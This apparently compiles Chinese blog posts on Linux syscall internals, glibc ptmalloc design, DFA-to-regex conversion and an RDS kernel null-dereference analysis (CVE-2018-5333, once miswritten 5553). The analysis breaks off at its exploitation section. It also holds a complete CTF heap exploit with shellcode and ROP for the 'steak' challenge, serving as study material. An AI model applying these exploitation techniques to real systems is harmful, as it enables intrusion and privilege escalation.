linux-kernel-syscall-inside

小菜

当我们在用户层写应用的时候,如果我们锁定一段代码或者更具体一个函数,当我们以递归的方式去研究这个函数的时候,函数栈到头了,最后的代码肯定是一段汇编或者一个syscall即系统调用,一般到这,我们就应该停止了,这样看起来操作系统给我印象永远是一个黑匣子。它干了啥我不知道,但是我如果遵循的它的规则,我总能得到我想要的。

其实这对于写应用的人来说是幸运的。我曾经去读linux代码遇到的最大困难也和这个类似,在用户态看到汇编我就停了,而linux里面的宏居多,函数递归调用更深,还有不同处理器的分支。如果我遵循在用户态开始的想法,读代码的进度会奇慢,甚至低效。

后来买了linux 4 amd64的一本书,在书中我找到了答案,刚开始最重要的是,理解数据结构和数据结构的关系,函数间的调用关系,不要过分探究函数具体实现。若有兴趣,再往下。

syscall到底干了啥?

有很多不同系统调用,比如open,write,read,exit 等等,把操作系统想象成第一个启动的进程,而操作系统能直接操作硬件,把操作系统想象成一个巨大的虚拟机,我们的应用在其基础上来运行,我们应用也需要IO操作,内存操作,网络操作,但是操作系统把硬件和我们的应用完全隔离开来了,所以这个时候操作系统需要给应用相关的接口。

但是这个接口并不是用户态的函数,他还是内核态的过程(下面都用内核来描述操作系统)。当用户态需要调用内核的接口的时候,这个时候就需要告诉内核,我要做一些操作,处理器就可以把当前的用户进程执行切换到内核态,ok在内核态了,现在这些系统调用对应的内核过程可以执行了。

所以syscall就是一个用户态和内核态切换的过程,从r3 切换到r0去执行一些过程。除了系统调用会切换到内核态,那么还有什么过程会呢?还有一个错误发生的时候,比如除0,或者读非法地址。其实这些过程可以统称为两个过程:

  • expection handler
  • interrupt handler

系统调用过程就可以归纳于interrupt handler,这里面还有一些东西,需要理清楚: - 用户应用发起系统调用,需要传递一些参数,这些参数如何传递给内核? - 处理器是怎么从用户态切换到内核态上的?

首先解决第一个问题,这个问题的答案可以在不同arch分支下syscall_entry找到,例如x86_x64下的/arch/x86/entry/entry_64.S

1
2
3
4
5
6
7
8
9
10
11
* Registers on entry:
* rax system call number
* rcx return address
* r11 saved rflags (note: r11 is callee-clobbered register in C ABI)
* rdi arg0
* rsi arg1
* rdx arg2
* r10 arg3 (needs to be moved to rcx to conform to C ABI)
* r8 arg4
* r9 arg5
* (note: r12-r15, rbp, rbx are callee-preserved in C ABI)
可以看到不同寄存器分别保存一些值,这里调几个具体讲: * rax 系统调用号 * rcx 为什么要用它来保存用户态返回地址呢? 对应系统调用返回指令 sysretq * rcx被上面用掉了,但是rcx在C ABI中是函数调用过程中的参数值保存的地方,被用掉了这里只能先用r10来保存arg3,之后为了对应C ABI,因为linux kernel也是c写的,需要把r10的值放到rcx中。

其他就不用说了,注释写的都很详细。再看第二个问题,处理器是怎么切换到r0内核态的,直接看syscall这个指令的作用:

SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.)

SYSCALL also saves RFLAGS into R11 and then masks RFLAGS using the IA32_FMASK MSR (MSR address C0000084H); specifically, the processor clears in RFLAGS every bit corresponding to a bit that is set in the IA32_FMASK MSR.

SYSCALL loads the CS and SS selectors with values derived from bits 47:32 of the IA32_STAR MSR. However, the CS and SS descriptor caches are not loaded from the descriptors (in GDT or LDT) referenced by those selectors. Instead, the descriptor caches are loaded with fixed values. See the Operation section for details. It is the responsibility of OS software to ensure that the descriptors (in GDT or LDT) referenced by those selector values correspond to the fixed values loaded into the descriptor caches; the SYSCALL instruction does not ensure this correspondence.

浓缩一下:

  • RCX ← RIP;
  • RIP ← IA32_LSTAR;
  • R11 ← RFLAGS;
  • RFLAGS ← RFLAGS AND NOT(IA32_FMASK);
  • CS.Selector ← IA32_STAR[47:32] AND FFFCH
  • SS.Selector ← IA32_STAR[47:32] + 8;

其中IA32_LSTARSh和IA32_STAR都是MSR(model special register),分别保存了系统调用的入口点和内核态的CS和SS。可以看到这一步没有涉及到切栈,那么把栈切到内核栈这个过程发生在系统调用的入口点里面。

系统调用入口点

linux kernel的系统调用点过程是用汇编写的,具体就x86_x64来看:

1
2
3
4
ENTRY(entry_SYSCALL_64)
swapgs
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
这是第一步,上面说了syscall并不能切栈,那么在entry_syscall_64第一步就是切栈,swapgs=>GS.base ← IA32_KERNEL_GS_BASE;,这一步把GS换成了内核态的GS,内核GS是pre_cpu结构的段地址,里面保存着和每个处理器核心相关结构,这个结构里面就有需要栈地址,对应了紧接着的两步movq,这就完成了栈的切换。

接下来就是保存此时用户态的各个寄存器的状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
对应着一个栈上的结构pt_regs,接下来就是根据rax传递进来的具体系统调用号去找对应的调用过程:
1
call	*sys_call_table(, %rax, 8)

这个sys_call_table相当于是一张系统调用表:

1
2
3
4
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
[0 ... __NR_syscall_max] = &sys_ni_syscall,
#include <asm/syscalls_64.h>
};
其中syscalls_64.h是编译过程中产生的如下:
1
2
3
4
5
6
7
8
#define __SYSCALL_COMMON(nr, sym, compat) __SYSCALL_64(nr, sym, compat)
#define __SYSCALL_64(nr, sym, compat) [nr] = sym,

__SYSCALL_COMMON(0, sys_read, sys_read)
__SYSCALL_COMMON(1, sys_write, sys_write)
__SYSCALL_COMMON(2, sys_open, sys_open)
__SYSCALL_COMMON(3, sys_close, sys_close)
__SYSCALL_COMMON(5, sys_newfstat, sys_newfstat)
最终syscall_table就如下:
1
2
3
4
5
6
7
8
9
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
[0 ... __NR_syscall_max] = &sys_ni_syscall,
[0] = sys_read,
[1] = sys_write,
[2] = sys_open,
...
...
...
};
sys_read, sys_write这些函数的定义如何而来:
1
2
3
4
5
6
7
8
9
10
11
#define SYSCALL_DEFINE3(name, ...) SYSCALL_DEFINEx(3, _##name, __VA_ARGS__)

#define SYSCALL_DEFINEx(x, sname, ...) \
SYSCALL_METADATA(sname, x, __VA_ARGS__) \
__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)

SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf,
size_t, count)
{
...
}
最后的效果如下:
1
asmlinkage long sys_write(unsigned int fd, const char __user * buf, size_t count);

need to know

  • CVE-2009-0029 这个CVE可以看看。
  • #define __NR_syscall_max 非固定编译时候产生的
  • 系统调用过程中x32的兼容模式处理可以注意下。
  • syscall_entry 中存在的debug 和 trace 过程可以去细究,比如trace可能就是seccomp的实现过程。
  • 除了sysret可以返回 iret也可以返回,返回处理有一定区别!

资料

xunca2018

Note

找状态的一题,也学到很多新东西,善。

the way

the exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from pwn_debug import *

#context.log_level = 'debug'

ins = pwn_debug('./steak')
ins.debug('2.23')

p = ins.run('debug')

def add(size,content):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('buf:')
p.sendline(content)

def delete(index):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(index))

def edit(index,size,content,no):
p.recvuntil('>')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(index))
p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('buf:')
if no:
p.send(content)
else:
p.sendline(content)

def copy(src,dst,length):
p.recvuntil('>')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(src))
p.recvuntil('index')
p.sendline(str(dst))
p.recvuntil('length:')
p.sendline(str(length))

add(0x60,'AAAA')#0
add(0x60,'BBBB')#1
delete(0)
delete(1)
delete(0)
add(0xf0,'CCCC')#2
add(0x10,'i am solider')#3
delete(2)
add(0x60,'AAAA')#4
add(0x60,'BBBB')#5
copy(2,4,8)
#raw_input('stop')
edit(4,2,str("\xdd\x55"),1)
add(0x60,'dfff')#6
#stdout_flag_adr 0x7ffff7dd5620
#stdout_io_write_base 0x7ffff7dd5638
#fake_fastbin_chunk 0x7ffff7dd55e5-0x8 0x70
add(0x60,'got_stdout');#7

fake_stdout = "\x00"*(0x7ffff7dd5620-0x7ffff7dd55ed)+p64(0xfbad1800)+"\x00"*0x19
#raw_input('stop')
edit(7,len(fake_stdout),fake_stdout,1)
# 0x39c600
leak_adr = u64(p.recvuntil('copy')[65:65+6].ljust(8,'\x00'))
libc_adr = leak_adr-0x39c600
p.info('[*] libc addr {}'.format(hex(libc_adr)))
#p.info('[*] test {}'.format(p.recvuntil('\x0a>')))

#one_gadget 0x3f43a
#free_hook 0x7ffff7dd67a8
one_gadget = 0x3f43a
delete(0)
#bss_fake_fast_chunk
edit(0,8,p64(0x60218d),1)
add(0x60,'AAAA')#8
#got bss
add(0x60,'f')#9
change_bss_arr = "\x00"*3+p64(0x7ffff7dd67a8)
edit(9,len(change_bss_arr),change_bss_arr,1)
#change free_hook
#0x000000000015a6b8 : xchg eax, edi ; xchg eax, esp ; ret
#thats fking amazing free_hook with that gadget can do anything,no need leak heap adr or stack adr
edit(0,8,p64(0x7ffff7b936b8),1)

#mprotect
#0x7ffff7a3aebb: retf

context.bits=32

#print shellcraft.i386.linux.open('./flag')
# open -> read ->write
s = '''
push 0x1010101
xor dword ptr [esp], 0x1016660
push 0x6c662f2e
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov eax,5
int 0x80
mov ebx, eax
mov eax,3
mov ecx, 0x602900
mov edx,0x50
int 0x80
mov eax,4
mov ebx, 1
mov ecx, 0x602900
mov edx,0x50
int 0x80
'''
change_bss_arr2shellcode=asm(s)

context.bits=64

#where put shellcode
edit(9,len("\x00"*3+p64(0x602500)),"\x00"*3+p64(0x602500),1)
edit(0,len(change_bss_arr2shellcode),change_bss_arr2shellcode,1)
#rop
#0x0000000000400ca3 : pop rdi ; ret
#0x0000000000400ca1 : pop rsi ; pop r15 ; ret
#0x7ffff7b34b54 pop rdx ; pop rbx ; ret
#0x7ffff7b1f65a pop rax ; ret
#mov rdi,m_addr
#mov rsi,0x1000
#mov rdx,7 #read_write_exec
#mov eax, 0Ah
#syscall
rop = p64(0x400ca3)+p64(0x602000)+p64(0x400ca1)+p64(0x1000)*2+p64(0x7ffff7b34b54)+p64(7)+p64(0)+p64(0x00007ffff7b1c5f0)+p64(0x17f6f4+libc_adr)+p64(0x602500)+p64(0x23)

edit(2,len(rop),rop,1)
raw_input('stop')
delete(2)
p.interactive()

glibc堆管理一些思考

一些想说给自己的话

思考过程:学会了怎么用->想知道它的原理->为什么它要这样实现,而不是那样。

一样的东西,每次重新看它都会不一样的体会,这是因为你还不够了解它,如果想要了解某个东西,无非两种方法,重复使用它或者了解它的本质。而我曾经陷入了尴尬的境遇,没有重复使用,也没有究其本质,我以为我懂了,却只是停留在思考过程的第二个阶段。学会的东西始终会忘记,即使你写下来,以后再来看的时候,也需要很多时间去重新理解,因为万事万物并不是独立存在,而是通过一根根细微的线,相互关联。我现在能理解当前的东西,随着时间的流失,这些线会断,而重新面对的时候又需要把线连接起来,费事费力。

那么又如何去面对这种问题呢?取决于你的抽象能力,把当前理解的事物尽可能抽象成独立的东西。例如php里面的数组,其实这一种很抽象的结构,基本结构里面没有这样的数组类型。但是说到php数组的时候,大多数情况下我也不会去考虑它底层是怎么实现的。

终其事物的本质,本质似乎是一个无穷远点,应该去找到一个合适的位置,位置以下都抽象成一个点,当做事物的本质,已然足够,善。

ptmalloc 分配器模型值得了解的点

  • ptmalloc封装的是系统调用,避免频繁的系统调用的中断
  • ptmalloc会带来最大影响是内存碎片,最坏的情况到最坏可能导致OOM
  • 还有很多像ptmalloc一样的分配器模型,它们区别在于metadata 和 算法。
  • ptmalloc的算法原理是 边界标记: 赋予了chunk之间合并和从任意块遍历其他块的能力 装箱结构: bins查找顺序smallest-first, best-fit顺序。

ptmalloc里面会考虑的一些情况: - 局部性:在CPU访问寄存器时,无论是存取数据抑或存取指令,都趋于聚集在一片连续的区域中,这就被称为局部性原理。 时间局部性(temporal locality) :被引用过一次的存储器位置在未来会被多次引用(通常在循环中)。
空间局部性(spatial locality):如果一个存储器的位置被引用,那么将来他附近的位置也会被引用。 ptmalloc局部性应用在fastbin的FILO结构上,充分考虑局部性,在一定周期类密集的操作,减少cpu 的cache miss。 - 荒野区域: 相当于topchunk的位置,最靠近边界的区域,topchunk的大小可以看做是最大的chunk,因为sbrk可以扩张,对它的处理应该放在最后。 - 内存映射:何时用mmap,用mmap带来的开销,内置threshold size,超过该值就应该使用mmap,同时arena可以设置threshold size不仅考虑sbrk的扩展,也需要考虑其收缩的过程。 - 缓存:chunk在合并和分割的过程需要成本,这里衍生了两种缓存方式 延迟合并: fastbin 预先分割 - Lookaside: 由于metadata里面固定字段损耗,在某些时刻是不能忽视的,比如一个分配最小的chunk为16字节,但是程序需要大量使用大小为8字节的node,那么这个时候的损耗就达到了%100. 这个时候就需要设计一种没有metadata的方式,但是还要兼容以前的设计。这个时候唯一能做文章就是内存地址,划分一块特殊的内存出来。但是在ptmalloc并没有实现这种,因为无法很好的猜测用户使用的不同的内存块。在这一块更加鼓励应用自己构造一个简单的分配器,自己构造一个nodefreelist,然后使用malloc作为后备,类似malloc使用mmap和brk作为后备。

request2size 设计细节

这是一段_int_malloc里面根据用户请求计算真实大小的chunk的过程。

1
2
3
4
#define request2size(req)                                         \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
我第一次看这个地方的时候, 其实有一点不理解为什么要这样写。如果按照我的理解应该是下面这么写:
1
2
3
4
#define request2size(req) \
(((SIZE_SZ+(req)) <=MINSIZE) ? \
MINSIZE : \
((SIZE_SZ+(req)+ALLOC_ALIGN_MASK) & ~ ALLOC_ALIGN_MASK))
首先为什么是SIZE_SZ+(req)?
1
2
`SIZE_SZ*2+(req)` //考虑虚拟地址上连续的下一个chunk的prev字段也可以用
`SIZE_SZ+(req)`
可以看到按照我的理解写的过程后面是一样,前面不太一样。应该是设计者的想法和我不太一致,我考虑了MINSIZE里面究竟多少可用。而设计者应该单纯的想用padding 固定长度,然后直接考虑对齐。究竟谁的代码要更好呢?

细细向来后者更好,可以复用SIZE_SZ+(req)+ALLOC_ALIGN_MASK,两段代码的判断意图不太一样。我的代码着眼于把MINSIZE这个位置分割出来。而设计者的代码却着眼于用SIZE_SZ+(req)+ALLOC_ALIGN_MASK一致计算会出现分叉的点。这种设计细节值得细细来品:)

fast_index最大为什么只是8?

malloc_state中fastbins是一个大小为10的数组,理论上是可以存储10种不同size的chunk,且看下面片段:

1
2
3
#define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
无论是32位还是64位最后用MAX_FAST_SIZE计算出来的index都是8,那么似乎fastbins[9]并没有用到?如果按理论上计算:
1
2
3
4
5
6
7
SIZE_SZ*2+1*SIZE_SZ*2
SIZE_SZ*2+2*SIZE_SZ*2
...
SIZE_SZ*2+10*SIZE_SZ*2

SIZE_SZ*2(1+10)
SIZE_SZ*21
而设计者直接指定了80,相比这其中,一定有其原因,可能是性能测试的时候80是一个标记线?超过80就失去了其fastbin cache的效果?但这里我产生了一个有意思的思考:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct malloc_state {
mutex_t mutex;
int flags;
mfastbinptr fastbinsY[10];
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins[254];
unsigned int binmap[4];
struct malloc_state *next;
struct malloc_state *next_free;
size_t attached_threads;
size_t system_mem;
size_t max_system_mem;
}
看看arena的结构,其中bins[0]bins[1]应该是unsorted_chunk的fd和bk,那么top的位置应该是该chunk的开始,如果考虑一点点设计“哲学”,这个地方也需要2*SIZE_SZ对齐,在32位是对齐的,但是64位并不是,所以我的思考并不是和设计者相契合的,这里我最终还是没有想清楚why,留下个一个问题,看日后能不能想个所以然。

ptmalloc 中metadata的演变

资料:

https://sourceware.org/glibc/wiki/MallocInternals glibc_wiki http://gee.cs.oswego.edu/dl/html/malloc.html ptmalloc具体细节

自动机之DAF转化为正则表达式

自动机:DAF,NAF,正则表达式的关系

DAF 转化为正则表达式

基础理论

正则表达式: 描述一组满足特定规则的字符串 DAF: 有穷的字符串组成的集合我们称之为语言,DAF是用来描述语言的一种方式,它可以转换为等价的正则表达式。

正则表达式和DAF的具体关系:DAF是通过输入来描述状态转移的一种方式。对于整个DAF来说,从初始状态到接受状态或者终极状态对应一条正则表达式。而对于DAF中任意两个状态来说,之间的路径也是对应着一条正则表达式。为什么会这样呢?从DAF的状态转移扩展,从一个状态到另一个状态对应着一串输入字符串,而这串字符串也就是对应着满足特殊规则的正则表达式。这是我们DAF和正则表达式之前转换的基础理论。

正则表达式的基础理论: 1. 如果\(E\)\(F\)都是正则表达式,则\(E+F\)也是正则表达式,表示\(L(E)\)\(L(F)\)的并。也就是说, \[ E+F = L(E)\cup L(F) \] 2. 如果如果\(E\)\(F\)都是正则表达式,则\(EF\)也是正则表达式,表示\(L(E)\)\(L(F)\)的连接。也就是说, \[ EF = L(E)L(F) \] 3. 如果\(E\)是正则表达式,则\(E^*\)也是正则表达式,表示\(L(E)\)的闭包(closure)。也就是说 \[ E^* = cl(L(E)) \] 4. 如果\(E\)是正则表达式,则\((E)\)也是正则表达式,与\(E\)表示相同的语言。形式化地, \[ (E) = E \ \ \ \ \ L((E))=L(E) \] 5. 对于任意的正则表达式R: \[ \emptyset R = R\emptyset=\emptyset \] \[ \emptyset+R=R+\emptyset=R \]

分解问题

如果要把DAF转换为一个正则表达式,我们选择分治策略,先拆分问题: 1. 假设DAF有\(n\)个状态,状态的集合为\(\{1,2,3...n\}\) 2. 任取其中两个状态\(i\)\(j\),先求\(i\)\(j\)不经过其他状态路径对应的正则表达式 3. 求\(i\)\(j\),最高只经过状态\(1\)的路径对应的正则表达式 4. 求\(i\)\(j\),最高只经过状态\(2\)的路径对应的正则表达式 5. 求\(i\)\(j\),最高只经过状态\(3\)的路径对应的正则表达式 6. 以此类推,往下求 7. 求\(i\)\(j\),最高只经过状态\(n\)的路径对应的正则表达式

小疑问:

  • 什么叫最高只经过状态\(k\),\(k\)属于\(\{1,2,3...n\}\)? 这里指的是从状态i到状态j路径中的状态最高不超过k。
  • 状态\(i\),\(j\),\(k\)直接有什么相互的联系吗? 这里并没有必然的联系,\(i\)可以等于\(j\),而且状态\(i\)\(j\)可以大于\(k\),也可以小于\(k\)

状态\(i\)到状态\(j\)的路径:

垂直方向为状态,这里我们取每个顶点为某个具体的状态,线段表示状态的转移,可以看到这里虽然有2次经过了状态\(k\),但是都是两个端点,除两个端点状态之外,并没有经过大于状态\(k\)的,状态转移。这幅图在这里表示为带有属于正则表达式\(R_{ij}^{(k)}\)的语言的标记的路径。

为了构造\(R_{ij}^{(k)}\)表达式,我们把从状态i到状态j最高只经过状态k的路径分成两种情况: 1. 根本不经过状态\(k\) 2. 至少经过一次状态\(k\)

那么对应的\(R_{ij}^{(k)}\)的表达式应该为: \[ R_{ij}^{(k)} = R_{ij}^{(k-1)} + R_{ik}^{(k-1)} (R_{kk}^{(k-1)})^* R_{kj}^{(k-1)} \]

两次情况取并集,\(R_{ij}^{(k-1)}\)好理解就是根本不经过状态\(k\)的情况,而后一种情况我们需要再次分解: 1. 状态\(i\)第一次到状态\(k\)的路径 2. 状态\(k\)到状态\(k\)的任意次路程 3. 最后状态\(k\)到状态\(j\)的路径

最后三者取正则表达式的连接组成了\(R_{ik}^{(k-1)} (R_{kk}^{(k-1)})^* R_{kj}^{(k-1)}\),这里为什么是\(k-1\),因为每种单次路径都没有大于经过k-1,除两端点以为。

结论

最终对于所有的i和j,都能得到\(R_{ij}^{(n)}\),因为上述计算\(R_{ij}^{(k)}\)过程是可以归纳成递归式。这里可以假设,状态\(1\)是初始状态,而接受状态可以是任意一组状态。自动机语言的正则表达式,就是所有表达式\(R_{1j}^{(n)}\)之和(并),使得状态\(j\)为接受状态.

通过消除法将自动机转换为正则表达式

如图,其中\(s\)为一个一般状态。假设\(s\)\(q_1\),\(q_2\),\(q_3\)...\(q_n\)作为s的前驱状态,以\(p_1\),\(p_2\),\(p_3\)...\(p_m\)作为s的后继状态,是可能存在\(q\)\(p\)是相同的情况,但是假设\(s\)不出现在\(q\),\(p\)里面,\(s\)有到自身的环。在每一个从\(q\)\(s\)的箭弧,都可以用正则表达式\(Q_i\)来表示。同样,对每一个从\(s\)\(p\)的箭弧都可以同\(P_i\)来表示。\(s\)自身的环用\(S\)来表示。对应任意的\(q\)\(p\)的箭弧用正则表达式\(R_{ij}\)来表示。注意里面的有些箭弧实际上是不存在的,这个时候就让这些箭弧的表达式为\(\emptyset\)

设想: 如果需要消除状态\(s\),就需要删掉所有关于\(s\)的箭弧,作为补偿,任意\(q_i\)\(s\),然后再从\(s\)\(p_j\),这一过程用正则表达式\(Q_iS^*P_j\)来表示,然后把这个表达式并到\(R_{ij}\)上。

从有穷自动机构造正则表达式的策略如下:

  • 对于每个接受状态\(q\),从\(q_0\)开始,消除所有中间状态,产生一个等价的自动机,所有箭弧用正则表达式来表示。最后只留下接受状态\(q\)\(q_0\),再把所有\(q_0\)到接受状态\(q\)的正则表达式取并。
  • 如果\(q\neq q_0\),最后状态图如下,其路径可以用正则表达式\((R+SU^*T)^*SU^*\),其中\((R+SU^*T)^*\)表示\(q_0\)自身环和经过\(q\)又回到\(q_0\)的环:
  • 如果初始状态和接受状态相同,那就相当于去掉了所有状态,只留下了初始状态,只剩下一个单状态的自动机

最后所有的从初始状态到接受状态的状态图都可以用上面的两幅图来表示。

对比

消除法和第一种分治法是有一定区别,分治法需要考虑所有\(q_0\)\(q_n\)\(k\)值。有可能原来自动机状图并不会进过某个状态\(q_k\),而消除法考虑了这一点,只会考虑其中间状态的前驱和后继状态。相对来说消除法更高效。

CVE-2019-9213 && CVE-2018-5333组合提权

0x00分析:

关于CVE-2019-9213前面一篇文章已经介绍的非常详细了,有了写地址0的机会,现在就需要一个null pointer dereference的洞,并且能够通过这个洞劫持程序流。引入今天的主角-- CVE-2018-5553,这是一个关于rds的洞,来看看是如何触发null pointer dereference的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int rds_cmsg_send(struct rds_sock *rs, struct rds_message *rm,
struct msghdr *msg, int *allocated_mr,
struct rds_iov_vector_arr *vct)
{
struct cmsghdr *cmsg;
int ret = 0, ind = 0;

for_each_cmsghdr(cmsg, msg) {
...
switch (cmsg->cmsg_type) {
...
case RDS_CMSG_ATOMIC_CSWP:
case RDS_CMSG_ATOMIC_FADD:
case RDS_CMSG_MASKED_ATOMIC_CSWP:
case RDS_CMSG_MASKED_ATOMIC_FADD:
ret = rds_cmsg_atomic(rs, rm, cmsg);
break;

rds_cmsg_send是通过系统调用sendmsg来触发,socket类型设置为pf_rds。接着看rds_cmsg_atomic分支。

这个地方需要先稍微了解一下sendmsg这个系统调用。

1
sendmsg(int socket, const struct msghdr *message, int flags);
struct msghdr结构如下:
1
2
3
4
5
6
7
8
9
struct msghdr {
void *msg_name; /* ptr to socket address structure */
int msg_namelen; /* size of socket address structure */
struct iov_iter msg_iter; /* data */
void *msg_control; /* ancillary data */
__kernel_size_t msg_controllen; /* ancillary data buffer length */
unsigned int msg_flags; /* flags on received message */
struct kiocb *msg_iocb; /* ptr to iocb for async requests */
};
其中msg_control字段是可以用来针对特定协议来传递数据的,其长度为msg_controllen。这个msg_control也指向一个标准的结构struct cmsghdr
1
2
3
4
5
struct cmsghdr {
__kernel_size_t cmsg_len; /* data byte count, including hdr */
int cmsg_level; /* originating protocol */
int cmsg_type; /* protocol-specific type */
};
这个结构还有一个隐式的字段unsigned char cmsg_data[]用来保存传递的数据,供特定的协议使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int rds_cmsg_atomic(struct rds_sock *rs, struct rds_message *rm,
struct cmsghdr *cmsg)
{
struct page *page = NULL;
struct rds_atomic_args *args;
int ret = 0;
...
args = CMSG_DATA(cmsg);
...
rm->atomic.op_notify = !!(args->flags & RDS_RDMA_NOTIFY_ME);
rm->atomic.op_silent = !!(args->flags & RDS_RDMA_SILENT);
rm->atomic.op_active = 1;//111111111111111
rm->atomic.op_recverr = rs->rs_recverr;
rm->atomic.op_sg = rds_message_alloc_sgs(rm, 1, &ret);//2222222
if (!rm->atomic.op_sg)
goto err;

/* verify 8 byte-aligned */
if (args->local_addr & 0x7) {
ret = -EFAULT;
goto err;
}

ret = rds_pin_pages(args->local_addr, 1, &page, 1);
if (ret != 1)
goto err;
ret = 0;

sg_set_page(rm->atomic.op_sg, page, 8, offset_in_page(args->local_addr));

回到rds的处理之中,rds_cmsg_atomiccmsg便来自于上面用户传递的结构。其中args也是指向cmsg中的data部分。

上面的整个过程就是设置atomic类型请求的rds_message结构,有两个点在这里需要注意:

1
2
3
rm->atomic.op_active = 1; //标志已经初始化,可用状态。
...
rm->atomic.op_sg = rds_message_alloc_sgs(rm, 1, &ret);
第二个点是设置scatterlist物理内存的散列表,主要是供DMA使用。关于这一点在分配rds_message这个结构的时候也可以注意到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct rds_message *rds_message_alloc(unsigned int extra_len, gfp_t gfp)
{
struct rds_message *rm;

if (extra_len > KMALLOC_MAX_SIZE - sizeof(struct rds_message))
return NULL;

rm = kzalloc(sizeof(struct rds_message) + extra_len, gfp);
if (!rm)
goto out;

rm->m_used_sgs = 0;
rm->m_total_sgs = extra_len / sizeof(struct scatterlist);
...
out:
return rm;
}
这个extra_len就是scatterlists的大小:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
static int rds_rm_size(struct msghdr *msg, int num_sgs,
struct rds_iov_vector_arr *vct)
{
...
switch (cmsg->cmsg_type) {
case RDS_CMSG_ATOMIC_CSWP:
case RDS_CMSG_ATOMIC_FADD:
case RDS_CMSG_MASKED_ATOMIC_CSWP:
case RDS_CMSG_MASKED_ATOMIC_FADD:
cmsg_groups |= 1;
size += sizeof(struct scatterlist);
break;
...
size += num_sgs * sizeof(struct scatterlist);
而上面的rds_message_alloc_sgs这一步就是获取rds_message后面的scatterlist,显然这些scatterlists都是初始化状态,并未分配真正的page,回到原先的rds_cmsg_atomic
1
2
3
4
5
6
7
8
9
10
11
if (args->local_addr & 0x7) {
ret = -EFAULT;
goto err;
}

ret = rds_pin_pages(args->local_addr, 1, &page, 1);
if (ret != 1)
goto err;
ret = 0;

sg_set_page(rm->atomic.op_sg, page, 8, offset_in_page(args->local_addr));
args指向是用户内存,首先判断args->local_addr地址对齐,然后使用rds_pin_pages获取用户page,再把scatterlist设置为这个page。上面有两个地方有错误处理:
1
2
3
4
5
err:
if (page)
put_page(page);
kfree(rm->atomic.op_notifier);
return ret;
出错以后释放掉了rm->atomic.op_notifier,整个rds_sendmsg也宣告结束,之后会释放掉rds_message这个结构。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void rds_message_purge(struct rds_message *rm)
{
unsigned long i, flags;
bool zcopy = false;
...
if (rm->rdma.op_active)
rds_rdma_free_op(&rm->rdma);
if (rm->rdma.op_rdma_mr)
rds_mr_put(rm->rdma.op_rdma_mr);

if (rm->atomic.op_active)
rds_atomic_free_op(&rm->atomic);
if (rm->atomic.op_rdma_mr)
rds_mr_put(rm->atomic.op_rdma_mr);
}
如果进入先前两个错误处理任意其中一个,返回的时候,并没有指定 rm->atomic.op_active=0,所以这里会进入rds_atomic_free_op
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void rds_atomic_free_op(struct rm_atomic_op *ao)
{
struct page *page = sg_page(ao->op_sg);

/* Mark page dirty if it was possibly modified, which
* is the case for a RDMA_READ which copies from remote
* to local memory */
set_page_dirty(page);
put_page(page);

kfree(ao->op_notifier);
ao->op_notifier = NULL;
ao->op_active = 0;
}
很显然这里出问题了,发生错误之前并没有去设置对应scatterlist的page,再细看是怎么拿到page的:
1
2
3
4
static inline struct page *sg_page(struct scatterlist *sg)
{
return (struct page *)((sg)->page_link & ~(SG_CHAIN | SG_END));
}
这里讲一下scatterlist结构page_link的0bit 和 1bit位置上是标志sg_chain和sg_end的flag,所以这里是4对齐。显然初始化状态下的page_link等于0.所以后面在操作page结构的时候,就产生了null pointer dereference。所以这里修复也很简单,只需要在上面错误返回的时候,设置一下rm->atomic.op_active=0,就可以避免这个问题。

0X02利用

